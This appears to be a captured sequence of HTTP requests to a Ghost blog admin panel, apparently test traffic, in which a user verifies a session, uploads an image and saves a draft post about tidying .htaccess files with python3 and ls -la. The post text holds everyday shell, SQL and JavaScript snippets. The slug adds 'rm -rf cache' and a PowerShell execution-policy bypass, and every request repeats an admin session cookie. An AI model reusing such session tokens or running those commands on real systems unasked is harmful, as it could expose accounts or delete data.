{"method": "GET", "target": "/ghost/assets/signin-verify-Bf6SrUvA.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "PUT", "target": "/ghost/api/admin/session/verify/", "headers": ["Host: example.com", "Content-Length: 18", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": "{\"token\":\"172997\"}"}
{"method": "GET", "target": "/ghost/api/admin/snippets/?limit=all&formats=mobiledoc%2Clexical", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "GET", "target": "/ghost/api/admin/posts/?filter=status%3Apublished&fields=id%2Curl%2Ctitle%2Cvisibility%2Cpublished_at&order=published_at+desc&limit=5", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "GET", "target": "/ghost/api/admin/slugs/post/using-python3-and-ls-la-to-tidy-htaccess-filesa-short-guide-for-site-owners-powershell-python3-and-the-shell-getting-started-run-ls-la-in-your-web-root-then-open-the-htaccess-guide-on-windows-use-powershell-instead-its-the-same-idea-a-small-script-usr-bin-env-python3-import-os-subprocess-for-name-in-sorted-os-listdir-print-name-subprocess-run-ls-la-var-www-html-check-true-cat-etc-hosts-grep-example-ls-la-var-www-html-htaccess-chmod-644-htaccess-mysql-e-select-id-title-from-posts-where-status-published-order-by-id-desc-limit-5-document-queryselectorall-a-foreach-a-gt-console-log-a-href-window-onload-gt-alert-ready-keep-your-htaccess-small-said-one-reader-and-python3-agrees-python3-m-venv-venv-amp-amp-source-venv-bin-activatepowershell-executionpolicy-bypass-file-build-ps1edit-etc-nginx-sites-available-default-then-reload-back-up-wp-config-php-and-envrun-rm-rf-cache-questions-email-help-example-com-or-see-the-search-page/", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "GET", "target": "/ghost/api/admin/slugs/post/using-python3-and-ls-la-to-tidy-htaccess-files/", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "POST", "target": "/ghost/api/admin/posts/?formats=mobiledoc%2Clexical&include=tags%2Cauthors%2Cauthors.roles%2Cemail%2Ctiers%2Cnewsletter%2Ccount.clicks%2Cpost_revisions%2Cpost_revisions.author", "headers": ["Host: example.com", "Content-Length: 509", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": "{\"posts\":[{\"title\":\"Using python3 and ls -la to tidy .htaccess files\",\"slug\":\"using-python3-and-ls-la-to-tidy-htaccess-files\",\"lexical\":\"{\\\"root\\\":{\\\"children\\\":[{\\\"children\\\":[],\\\"direction\\\":null,\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1}],\\\"direction\\\":null,\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"root\\\",\\\"version\\\":1}}\",\"feature_image\":null,\"feature_image_alt\":null,\"feature_image_caption\":null,\"status\":\"draft\",\"published_at\":null,\"authors\":[{\"id\":\"6af4570fd281b00001a59891\"}]}]}"}
{"method": "GET", "target": "/ghost/api/admin/newsletters/?limit=all&include=count.active_members", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "GET", "target": "/ghost/api/admin/members/?filter=&order=id&limit=1&page=1", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "GET", "target": "/ghost/api/admin/email_previews/posts/6af45887d281b00001a59965/", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "POST", "target": "/ghost/api/admin/posts/?formats=mobiledoc%2Clexical&include=tags%2Cauthors%2Cauthors.roles%2Cemail%2Ctiers%2Cnewsletter%2Ccount.clicks%2Cpost_revisions%2Cpost_revisions.author", "headers": ["Host: example.com", "Content-Length: 511", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": "{\"posts\":[{\"title\":\"Using python3 and ls -la to tidy .htaccess files\",\"slug\":\"using-python3-and-ls-la-to-tidy-htaccess-files-2\",\"lexical\":\"{\\\"root\\\":{\\\"children\\\":[{\\\"children\\\":[],\\\"direction\\\":null,\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1}],\\\"direction\\\":null,\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"root\\\",\\\"version\\\":1}}\",\"feature_image\":null,\"feature_image_alt\":null,\"feature_image_caption\":null,\"status\":\"draft\",\"published_at\":null,\"authors\":[{\"id\":\"6af4570fd281b00001a59891\"}]}]}"}
{"method": "GET", "target": "/ghost/api/admin/email_previews/posts/6af458a5d281b00001a59969/", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "POST", "target": "/ghost/api/admin/images/upload/", "headers": ["Host: example.com", "Content-Length: 339", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryCPTDGrlBBdJzmvpK", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": "------WebKitFormBoundaryCPTDGrlBBdJzmvpK\r\nContent-Disposition: form-data; name=\"file\"; filename=\"photo.png\"\r\nContent-Type: image/png\r\n\r\niVBORw0KGgoAAAANSUhEUgAAAEAAAAAwCAIAAAAuKetIAAAAZElEQVR4nO3PUQkAIBTAwBfHiEY0liH8OITBAtxm7fN1wwUNaEEDWtCAFjSgBQ1oQQNa0IAWNKAFDWhBA1rQgBY0oAUNaEEDWtCAFjSgBQ1oQQNa0IAWNKAFDWhBA1rQgBY8dgGIweDx+vacjQAAAABJRU5ErkJggg==\r\n------WebKitFormBoundaryCPTDGrlBBdJzmvpK--\r\n"}
{"method": "GET", "target": "/content/images/2026/11/photo.png", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "PUT", "target": "/ghost/api/admin/posts/6af458a5d281b00001a59969/?formats=mobiledoc%2Clexical&include=tags%2Cauthors%2Cauthors.roles%2Cemail%2Ctiers%2Cnewsletter%2Ccount.clicks%2Cpost_revisions%2Cpost_revisions.author", "headers": ["Host: example.com", "Content-Length: 6796", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": "{\"posts\":[{\"title\":\"Using python3 and ls -la to tidy .htaccess files\",\"slug\":\"using-python3-and-ls-la-to-tidy-htaccess-files-2\",\"lexical\":\"{\\\"root\\\":{\\\"children\\\":[{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"A short guide for site owners: powershell, python3 and the shell.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Getting started\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-heading\\\",\\\"version\\\":1,\\\"tag\\\":\\\"h2\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Run \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":16,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"ls -la\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\" in your web root, then open \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"the .htaccess guide\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"link\\\",\\\"version\\\":1,\\\"rel\\\":null,\\\"target\\\":null,\\\"title\\\":null,\\\"url\\\":\\\"https://example.com/docs/htaccess\\\"},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\". On Windows, use \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":1,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"powershell\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\" instead; it's the same idea.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"A small script\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-heading\\\",\\\"version\\\":1,\\\"tag\\\":\\\"h3\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"#!/usr/bin/env python3\\\\nimport os, subprocess\\\\nfor name in sorted(os.listdir(\\\\\\\".\\\\\\\")):\\\\n print(name)\\\\nsubprocess.run([\\\\\\\"ls\\\\\\\", \\\\\\\"-la\\\\\\\", \\\\\\\"/var/www/html\\\\\\\"], check=True)\\\\n\\\",\\\"language\\\":\\\"python\\\",\\\"caption\\\":\\\"\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"cat /etc/hosts | grep example\\\\nls -la /var/www/html/.htaccess && chmod 644 .htaccess\\\\nmysql -e \\\\\\\"SELECT id, title FROM posts WHERE status = 'published' ORDER BY id DESC LIMIT 5;\\\\\\\"\\\\n\\\",\\\"language\\\":\\\"bash\\\",\\\"caption\\\":\\\"\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"document.querySelectorAll('a').forEach((a) => console.log(a.href));\\\\nwindow.onload = () => alert('ready');\\\\n\\\",\\\"language\\\":\\\"javascript\\\",\\\"caption\\\":\\\"\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"\\\\\\\"Keep your .htaccess small,\\\\\\\" said one reader -- and python3 agrees.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-quote\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\Line truncated
{"method": "GET", "target": "/ghost/api/admin/posts/6af458a5d281b00001a59969/?formats=mobiledoc%2Clexical&include=tags%2Cauthors%2Cauthors.roles%2Cemail%2Ctiers%2Cnewsletter%2Ccount.clicks%2Cpost_revisions%2Cpost_revisions.author", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "PUT", "target": "/ghost/api/admin/posts/6af458a5d281b00001a59969/?formats=mobiledoc%2Clexical&include=tags%2Cauthors%2Cauthors.roles%2Cemail%2Ctiers%2Cnewsletter%2Ccount.clicks%2Cpost_revisions%2Cpost_revisions.author", "headers": ["Host: example.com", "Content-Length: 8008", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": "{\"posts\":[{\"title\":\"Using python3 and ls -la to tidy .htaccess files\",\"slug\":\"using-python3-and-ls-la-to-tidy-htaccess-files-2\",\"lexical\":\"{\\\"root\\\":{\\\"children\\\":[{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"A short guide for site owners: powershell, python3 and the shell.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Getting started\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-heading\\\",\\\"version\\\":1,\\\"tag\\\":\\\"h2\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Run \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":16,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"ls -la\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\" in your web root, then open \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"the .htaccess guide\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"link\\\",\\\"version\\\":1,\\\"rel\\\":null,\\\"target\\\":null,\\\"title\\\":null,\\\"url\\\":\\\"https://example.com/docs/htaccess\\\"},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\". On Windows, use \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":1,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"powershell\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\" instead; it's the same idea.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"A small script\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-heading\\\",\\\"version\\\":1,\\\"tag\\\":\\\"h3\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"#!/usr/bin/env python3\\\\nimport os, subprocess\\\\nfor name in sorted(os.listdir(\\\\\\\".\\\\\\\")):\\\\n print(name)\\\\nsubprocess.run([\\\\\\\"ls\\\\\\\", \\\\\\\"-la\\\\\\\", \\\\\\\"/var/www/html\\\\\\\"], check=True)\\\\n\\\",\\\"language\\\":\\\"python\\\",\\\"caption\\\":\\\"\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"cat /etc/hosts | grep example\\\\nls -la /var/www/html/.htaccess && chmod 644 .htaccess\\\\nmysql -e \\\\\\\"SELECT id, title FROM posts WHERE status = 'published' ORDER BY id DESC LIMIT 5;\\\\\\\"\\\\n\\\",\\\"language\\\":\\\"bash\\\",\\\"caption\\\":\\\"\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"document.querySelectorAll('a').forEach((a) => console.log(a.href));\\\\nwindow.onload = () => alert('ready');\\\\n\\\",\\\"language\\\":\\\"javascript\\\",\\\"caption\\\":\\\"\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"\\\\\\\"Keep your .htaccess small,\\\\\\\" said one reader -- and python3 agrees.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-quote\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\Line truncated
{"method": "GET", "target": "/ghost/assets/posts-route-h3vCXYi5.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "GET", "target": "/ghost/assets/posts-list-screen-DaiQl198.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "GET", "target": "/ghost/assets/container-D71ORA1Q.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "GET", "target": "/ghost/assets/hover-card-Cnz0ewmR.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "GET", "target": "/ghost/assets/filters-BcpL-PeQ.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "GET", "target": "/ghost/assets/filter-bar-D1e2wPCO.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "GET", "target": "/ghost/assets/use-reveal-on-mount-BnFofzIX.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "GET", "target": "/ghost/assets/use-email-sending-status-CbZSbPwi.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
